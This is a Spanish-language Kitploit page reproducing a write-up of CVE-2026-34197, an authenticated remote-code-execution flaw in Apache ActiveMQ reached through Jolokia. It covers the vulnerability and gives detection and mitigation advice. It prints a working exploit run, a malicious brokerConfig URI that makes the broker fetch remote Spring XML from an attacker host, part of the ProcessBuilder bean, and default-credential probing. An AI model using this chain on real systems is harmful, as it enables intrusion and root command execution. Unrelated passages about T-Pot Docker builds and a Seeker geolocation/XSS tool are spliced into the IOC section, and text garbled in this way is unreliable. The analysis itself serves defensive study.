Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-34197 | Kitploit
Herramientas/GitHubGitHub/lat-06/cve-2026-34197
Análisis Dinámico (Sandboxing)Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHublat-06/cve-2026-34197

CVE-2026-34197

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-34197

Descripción
Validación de entrada incorrecta, control inadecuado de la generación de código (vulnerabilidad de ‘Inyección de código’) en Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic expone el puente Jolokia JMX-HTTP en /api/jolokia/ en la consola web. La política de acceso de Jolokia por defecto permite operaciones exec en todos los MBeans de ActiveMQ (org.apache.activemq:*), incluyendo BrokerService.addNetworkConnector(String) y BrokerService.addConnector(String). Un atacante autenticado puede invocar estas operaciones con una URI de descubrimiento manipulada que hace que el parámetro brokerConfig del transporte VM cargue un contexto de aplicación Spring XML remoto mediante ResourceXmlApplicationContext. Debido a que ResourceXmlApplicationContext de Spring instancia todos los beans singleton antes de que BrokerService valide la configuración, se produce ejecución de código arbitrario en la JVM del broker a través de métodos de fábrica de beans como Runtime.exec(). Este problema afecta a Apache ActiveMQ Broker: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3; Apache ActiveMQ All: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3; Apache ActiveMQ: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3. Se recomienda a los usuarios actualizar a la versión 5.19.4 o 6.2.3, que corrige el problema

Más información en: link

Fase de explotación

Referencia

Github: link```bash ❯ docker compose up -d

root@kitploit:~
Una vez iniciado, puede interactuar con la API completando el formulario de perfil y siguiendo las instrucciones en la ventana de línea de comandos. Cuando haya introducido los detalles del sistema que pretende explotar, pulse '''Run'''.```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

Con LHOST se hace referencia a la IP privada del equipo. Puedes usar ipconfig en Windows o ifconfig en Linux

Comprobando el RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE exitoso, el archivo `blahblah.txt` fue creado en el sistema objetivo.

# Fase de Análisis
## Análisis Dinámico```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Los registros en tiempo de ejecución también confirmaron que Jolokia estaba habilitado y expuesto a través de la consola web de ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Verificar la conexión```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Esto significa:

  • Jolokia era accesible
  • La autenticación se realizó correctamente usando credenciales predeterminadas
  • El objetivo estaba ejecutando ActiveMQ 5.18.6
  • El agente Jolokia aceptó solicitudes autenticadas

Para leer registros```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
Luego usa grep para la cadena limpia```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Después de enviar el payload```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Esta línea es crítica porque confirma que la URI controlada por el atacante proporcionada a través de:```java
BrokerView.addNetworkConnector(String)

llegó a la capa de transporte de la VM sin saneamiento.

La URI maliciosa utilizada durante la explotación fue:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
Esta URI contiene dos partes importantes:

| Component       | Purpose                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Wrapper utilizado por los conectores de descubrimiento de ActiveMQ |
| `vm://evil?...` | URI de transporte VM procesada internamente por ActiveMQ |

El wrapper `static:(...)` en sí mismo no es el componente vulnerable. Su propósito es pasar la URI de transporte contenida al subsistema de conectores de red de ActiveMQ.

Durante la ejecución en tiempo de ejecución, ActiveMQ extrajo y procesó la URI de transporte VM interna:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Este comportamiento se confirmó en los registros de ejecución:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
El parámetro `brokerConfig=` es la parte crítica del payload. Instruía a la capa de transporte de VM para que creara dinámicamente una instancia de broker utilizando una configuración externa de Spring xbean cargada desde:```text
http://192.168.1.32:9999/evil.xml

El prefijo xbean: hizo que ActiveMQ delegara el procesamiento al cargador de contexto de aplicación XML de Spring:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
Como resultado, el documento XML remoto fue analizado e instanciado como un contexto de aplicación Spring dentro del JVM del broker.

El XML malicioso contenía el siguiente bean de Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Esta definición de bean le indicó a Spring que instanciara un objeto ProcessBuilder e invocara inmediatamente su método start() durante la inicialización del contexto de la aplicación.

El exploit utilizó el siguiente comando:```bash touch /tmp/blahblah.txt

root@kitploit:~
Debido a que Spring instancia ansiosamente los beans singleton durante la inicialización del contexto, el método `ProcessBuilder.start()` se ejecutó antes de que ActiveMQ validara si la configuración del broker era segura o válida.

Esto resultó en la ejecución arbitraria de comandos en el contenedor objetivo.

El exploit se verificó comprobando el directorio `/tmp` dentro del contenedor de ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Los metadatos del archivo confirmaron además la ejecución exitosa del comando:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
Esto demuestra que comandos arbitrarios del sistema operativo se ejecutaron con éxito dentro del contexto del contenedor ActiveMQ.

El seguimiento de la pila en tiempo de ejecución también reveló la ruta completa de ejecución vulnerable:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Durante el análisis en tiempo de ejecución se observaron las siguientes entradas del seguimiento de pila:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
Una de las observaciones más importantes durante el análisis dinámico fue el orden en el que Spring y ActiveMQ procesaron la configuración maliciosa.

Después de que el payload se ejecutara correctamente, ActiveMQ generó posteriormente la siguiente advertencia:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Este comportamiento demuestra que:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
Aunque la configuración del broker en sí fue finalmente rechazada, el bean Spring malicioso ya había sido instanciado y ejecutado.

Este problema de orden es la falla lógica central detrás de CVE-2026-34197.

El análisis dinámico identificó los siguientes componentes que participan en la cadena del exploit:

| Componente                    | Función                           |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | Puente HTTP a JMX                 |
| BrokerView                    | MBean de gestión expuesto         |
| VMTransportFactory            | Analiza la URI de transporte `vm://` |
| BrokerFactory                 | Crea la instancia del broker      |
| XBeanBrokerFactory            | Carga la configuración Spring xbean |
| ResourceXmlApplicationContext | Carga XML remoto                  |
| XmlBeanDefinitionReader       | Analiza definiciones de beans de Spring |
| Spring BeanFactory            | Instancia beans singleton         |
| ProcessBuilder                | Ejecuta comandos del sistema operativo |

El análisis dinámico confirma que CVE-2026-34197 es causado por la interacción entre:

* Operaciones de gestión de Jolokia demasiado permisivas
* URIs de transporte controladas por el atacante
* Creación automática del broker de transporte VM
* Carga de configuración remota Spring xbean
* Instanciación anticipada de beans singleton antes de la validación

Como resultado, un atacante autenticado puede lograr la ejecución de código arbitrario en la JVM de ActiveMQ al proporcionar una URI maliciosa `brokerConfig=xbean:http://...` a través de la operación `addNetworkConnector()` expuesta por Jolokia.

### Resumen de la arquitectura

Apache ActiveMQ Classic expone una interfaz de gestión a través del puente JMX-HTTP de Jolokia disponible en:```text id="n0vmrq"
/api/jolokia/

Jolokia actúa como un puente HTTP-a-JMX, permitiendo a usuarios autenticados invocar operaciones de Java Management Extensions (JMX) de forma remota a través de HTTP.

La ruta de arquitectura vulnerable identificada durante el análisis se muestra a continuación:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
| Component             | Función                                     |
| --------------------- | ------------------------------------------- |
| Jolokia               | Expone operaciones JMX a través de HTTP     |
| BrokerView            | Interfaz MBean de gestión                   |
| VMTransportFactory    | Procesa URIs de transporte `vm://`          |
| BrokerFactory         | Crea brokers dinámicamente                  |
| XBeanBrokerFactory    | Carga configuraciones xbean de Spring       |
| Spring Context Loader | Analiza e instancia definiciones de beans XML |
| ProcessBuilder        | Ejecuta comandos del sistema operativo      |

La arquitectura se vuelve vulnerable porque ActiveMQ permite a usuarios autenticados invocar métodos peligrosos de gestión del broker con URIs de transporte controladas por el atacante.

---

### Análisis de la Superficie de Ataque

La superficie de ataque principal es el endpoint HTTP de Jolokia expuesto a través de la consola web de ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

El análisis en tiempo de ejecución confirmó que la interfaz Jolokia estaba habilitada por defecto:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
El endpoint de Jolokia aceptaba solicitudes autenticadas mediante autenticación básica HTTP:```json id="13tzmx"
"authMode":"basic"

La siguiente operación de gestión peligrosa fue expuesta:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
Este método acepta un URI de transporte controlado por el usuario sin restringir suficientemente los esquemas de URI peligrosos ni los parámetros de configuración.

El atacante proporcionó el siguiente payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Esta carga útil abusó de varias funciones simultáneamente:

Por lo tanto, la superficie de ataque incluye:

  • Exposición de la API HTTP de Jolokia
  • Operaciones de gestión JMX débilmente restringidas
  • Análisis dinámico de URI de transporte
  • Carga de configuración externa del broker
  • Integración de Spring xbean

Análisis de causa raíz

La vulnerabilidad es causada por la interacción entre múltiples subsistemas de confianza dentro de ActiveMQ.

El problema central es que a los usuarios autenticados de Jolokia se les permite invocar operaciones peligrosas de gestión del broker con URI de transporte controladas por el atacante.

El flujo de ejecución vulnerable identificado durante el análisis en tiempo de ejecución es:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
El parámetro crítico es:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Este parámetro indica a la capa de transporte VM que cree dinámicamente un broker utilizando una configuración externa de Spring xbean.

La siguiente evidencia en tiempo de ejecución confirmó este comportamiento:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Spring entonces cargó el XML remoto a través de:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

El XML malicioso contenía:```xml id="y6jphd"

root@kitploit:~
Durante la inicialización del contexto de la aplicación Spring, los beans singleton se instancian de forma inmediata. Como resultado, el método `ProcessBuilder.start()` se ejecutó de inmediato.

El fallo lógico clave es que la instanciación de los beans de Spring ocurrió antes de que ActiveMQ validara si la configuración del broker en sí era segura o válida.

Este comportamiento se demostró dinámicamente porque:

1. La carga útil maliciosa creó con éxito `/tmp/blahblah.txt`
2. Posteriormente, ActiveMQ rechazó la configuración del broker con:```text id="6k1dwn"
The configuration has no BrokerService instance

Esto demuestra que la ejecución de código ocurrió antes de que se completara la validación del broker.


Indicadores de compromiso (IOC) y detección

Los posibles indicadores de compromiso incluyen solicitudes Jolokia sospechosas dirigidas a operaciones de gestión de ActiveMQ.

Operaciones Jolokia sospechosas

Busque solicitudes que invoquen:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
a través de:```text id="pt2n3d"
/api/jolokia/

Patrones de URI sospechosos

Los siguientes fragmentos de URI son indicadores sólidos de intentos de explotación:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
Ejemplo de payload malicioso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Conexiones HTTP salientes

El broker puede iniciar solicitudes salientes a infraestructura controlada por el atacante:```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
El tráfico HTTP saliente inesperado desde la JVM del broker debe ser investigado.

#### Registros de ejecución sospechosos

Los siguientes mensajes de ejecución son sospechosos:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

🌀 Construcciones Docker + Dockerhub

Si no desea ejecutar el instalador ISO siempre puede ejecutar T-Pot desde un host Docker. Puede construir las imágenes usted mismo o utilizar nuestras imágenes preconstruidas de Dockerhub. Incluso puede utilizar Docker Swarm para alojar una instalación distribuida de T-Pot.

Requisitos para la Construcción con Docker

La carpeta docker contiene un Dockerfile que es esencialmente un envoltorio ... (cosas aburridas) ... así que básicamente este es el Dockerfile:

root@kitploit:~
# BUILD
FROM debian:bookworm-slim as builder
SHELL ["/bin/bash", "-c"]
...

Esto construirá una imagen T-Pot Standard.

root@kitploit:~
docker build --build-arg TPOT_FLAVOR=standard -f docker/Dockerfile -t tpot:standard .

Después de que la construcción tenga éxito, puede proceder con la imagen Docker de T-Pot ahora disponible.

Por defecto, esto construirá una imagen standard. Si desea construir otra variante (sensor, industrial, collector, nextcloud, elk, honeytail, dep, ewsposter, p0f, honeysap, conpot, ipphoney) necesita editar tpot.yml.dist o hacer cp tpot/tpot.yml.dist tpot/tpot.yml y luego editar según corresponda.

Tenga en cuenta que algunas variantes (p. ej., sensor, industrial) son un conjunto de honeypots y servicios habilitados que requieren más RAM y espacio en disco. Puede elegir la cantidad de RAM que debe usar el contenedor. Se requieren al menos 8 GB de RAM y ~350 - 500 GB de espacio en disco para la mayoría de las variantes. Sin embargo, también puede comenzar de forma modesta con 4-6 GB de RAM y 50 GB de espacio en disco cuando utilice solo honeypot y honeytail.

⚠️ Si planea ejecutar T-Pot con Docker Engine en un host expuesto a Internet, tenga en cuenta que aún necesita ejecutar las reglas de iptables basadas en el host/red, el script blackhole / redhole y ajustar sus parámetros de red y kernel en consecuencia.```text id="3q2vls" ResourceXmlApplicationContext

root@kitploit:~
Trabajando con una plantilla personalizada

Edita el archivo HTML y cambia el título de la página:

`{{TITLE}}`

Abre el archivo HTML en el navegador y mira la consola para ver los datos de ubicación:

### Características

- XSS-R
- Obtener la dirección IP
- Obtener los datos de ubicación
- Obtener los detalles del navegador y del sistema operativo
- Obtener el user agent
- Obtener los detalles del dispositivo
- Obtener la resolución de pantalla

| Característica | Estado |
| ------- | ------ |
| Obtener la dirección IP | ✅ |
| Obtener los datos de ubicación | ✅ |
| Obtener los detalles del navegador y del sistema operativo | ✅ |
| Obtener el user agent | ✅ |
| Obtener los detalles del dispositivo | ✅ |
| Obtener la resolución de pantalla | ✅ |

#### Trabajando con Seeker Drive

#### Instalador

1. Copia `seekerdrive.service` a `/lib/systemd/system/`
2. Cambia la ruta de `User` y `ExecStart` en `/lib/systemd/system/seekerdrive.service`
3. Habilita e inicia el servicio:

```bash
sudo systemctl enable seekerdrive.service
sudo systemctl start seekerdrive.service
  1. Ahora el servidor se ejecutará en segundo plano en el puerto indicado (por defecto: 8080) y se reiniciará si el servidor se detiene o el sistema se reinicia.

Trabajando con un puerto personalizado

Editar

Edita el archivo server.py y cambia el número de puerto:

  1. Detén el servidor en ejecución (Ctrl + C si estás en la terminal)
  2. Ejecuta `./seeker.py -t manual -p 8080````text id="jzsk0g" XmlBeanDefinitionReader.loadBeanDefinitions
root@kitploit:~
#### Artefactos del sistema de archivos

Archivos inesperados en:```text id="6x7qcm"
/tmp/

o la ejecución sospechosa de procesos hijos desde el JVM de ActiveMQ puede indicar explotación.


Análisis de Impacto

La explotación exitosa permite la ejecución remota de código autenticada dentro del contexto del JVM de ActiveMQ.

En el entorno analizado, los comandos arbitrarios del sistema operativo se ejecutaron con éxito dentro del contenedor:```bash id="2hyz0w" touch /tmp/blahblah.txt

root@kitploit:~
Resultado:```text id="rm2qfd"
/tmp/blahblah.txt

El archivo fue creado como:```text id="9phgkz" Uid: (0/root)

root@kitploit:~
Esto indica que la ejecución de comandos se produjo con privilegios de root dentro del contenedor.

El impacto potencial incluye:

| Impacto                | Descripción                               |
| --------------------- | ----------------------------------------- |
| Ejecución remota de código | Ejecución arbitraria de comandos          |
| Compromiso del contenedor | Compromiso total del contenedor de ActiveMQ |
| Robo de credenciales   | Acceso a credenciales y secretos del broker |
| Movimiento lateral     | Pivoting a sistemas adyacentes            |
| Persistencia           | Creación de conectores de red maliciosos  |
| Exposición de datos    | Acceso a mensajes y colas del broker      |

La gravedad aumenta significativamente si:

* Jolokia está expuesto externamente
* Las credenciales predeterminadas permanecen habilitadas
* Los contenedores se ejecutan como root
* Los hosts del broker tienen acceso saliente sin restricciones

---

### Mitigación

#### Actualizar a versiones corregidas

Actualice ActiveMQ Classic a:```text id="8w0j6k"
5.19.4 or later
6.2.3 or later

Restringir el acceso a Jolokia

Deshabilite Jolokia si no es necesario.

Si Jolokia debe permanecer habilitado:

  • Restrinja el acceso a redes administrativas confiables
  • Aplique una autenticación sólida
  • Deshabilite las operaciones exec peligrosas
  • Aplique políticas de acceso estrictas para Jolokia

Eliminar credenciales predeterminadas

No use:```text id="9mw1xv" admin:admin

root@kitploit:~
#### Restringir el acceso de red saliente

Evitar que el broker inicie conexiones HTTP salientes arbitrarias.

Esto mitiga los intentos de recuperación remota de XML.

#### Deshabilitar funciones peligrosas

Restringir o deshabilitar:

* Creación dinámica de brokers
* Uso del transporte `vm://`
* Carga externa de configuración `xbean:`

#### Endurecer el entorno de ejecución

* Ejecutar contenedores como usuarios no root
* Aplicar restricciones del sistema de archivos
* Usar segmentación de red
* Supervisar la ejecución de procesos hijo de la JVM

#### Recomendaciones de detección

Supervisar lo siguiente:

* Solicitudes a `/api/jolokia/`
* Uso de `addNetworkConnector`
* Parámetros `brokerConfig=`
* URI `xbean:`
* Solicitudes HTTP salientes desde la JVM del broker
* Procesos hijo inesperados generados por Java

## Análisis estático

### Resumen del código fuente

La ruta vulnerable atraviesa la capa de gestión web/JMX de ActiveMQ, la capa de red del broker, el transporte VM, el subsistema de fábrica del broker y la carga de configuración de Spring XBean.

Jolokia está habilitado en la aplicación de API web de ActiveMQ:```xml
<!-- assembly/src/release/webapps/api/WEB-INF/web.xml -->
<servlet>
    <servlet-name>jolokia-agent</servlet-name>
    <servlet-class>org.jolokia.http.AgentServlet</servlet-class>
    ...
</servlet>

<servlet-mapping>
    <servlet-name>jolokia-agent</servlet-name>
    <url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>

Al iniciar el broker, ActiveMQ registra BrokerView como el MBean de gestión del broker:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); }

root@kitploit:~
El nombre del objeto se crea como:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
        throws MalformedObjectNameException  {
    String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
    objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
    return new ObjectName(objectNameStr);
}

En la distribución predeterminada, esto expone el MBean del broker como un objetivo Jolokia invocable por HTTP, como por ejemplo:```text org.apache.activemq:type=Broker,brokerName=localhost

root@kitploit:~
Las responsabilidades de los componentes relevantes son:

- `BrokerView`: fachada de gestión de broker orientada a JMX. Expone `addNetworkConnector(String)` y `addConnector(String)`.
- `BrokerService`: objeto runtime del broker. Convierte una dirección de conector de red en cadena en un `URI` y crea un `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: utiliza un agente de descubrimiento para obtener URIs de servicio de brokers remotos y luego se conecta a cada URI descubierto.
- `TransportFactory`: resuelve un esquema de URI a una fábrica de transporte usando `META-INF/services/org/apache/activemq/transport/<scheme>`.
- `VMTransportFactory`: maneja transportes `vm://` y puede auto-crear un broker embebido cuando el broker VM solicitado no existe.
- `BrokerFactory`: resuelve un esquema de URI de configuración de broker usando `META-INF/services/org/apache/activemq/broker/<scheme>`.
- `XBeanBrokerFactory`: maneja URIs de configuración de broker `xbean:` y crea un contexto de aplicación Spring/XBean.
- `ResourceXmlApplicationContext`: carga el recurso XML y realiza la actualización de la fábrica de beans de Spring, incluida la creación ansiosa de singletons.

La vulnerabilidad existe porque el método de gestión acepta un lenguaje de URI de ActiveMQ que no son datos pasivos. Cuando se evalúa el URI, puede crear brokers y cargar configuración XML de Spring.

---

### Punto de Entrada Vulnerable

El punto de entrada vulnerable es:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    if (connector == null) {
        throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
    }
    brokerService.registerNetworkConnectorMBean(connector);
    connector.start();
    return connector.getName();
}

La interfaz MBean expone la operación como:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java @MBeanInfo("Adds a Network Connector to the broker.") String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

root@kitploit:~
La entrada controlada por el atacante es el argumento `exec` de Jolokia que se pasa a `discoveryAddress`. En la versión vulnerable, `BrokerView.addNetworkConnector()` no realiza validación de esquema, ni validación de URI anidada, ni filtrado de parámetros específicos del transporte antes de pasar la cadena a `BrokerService`.

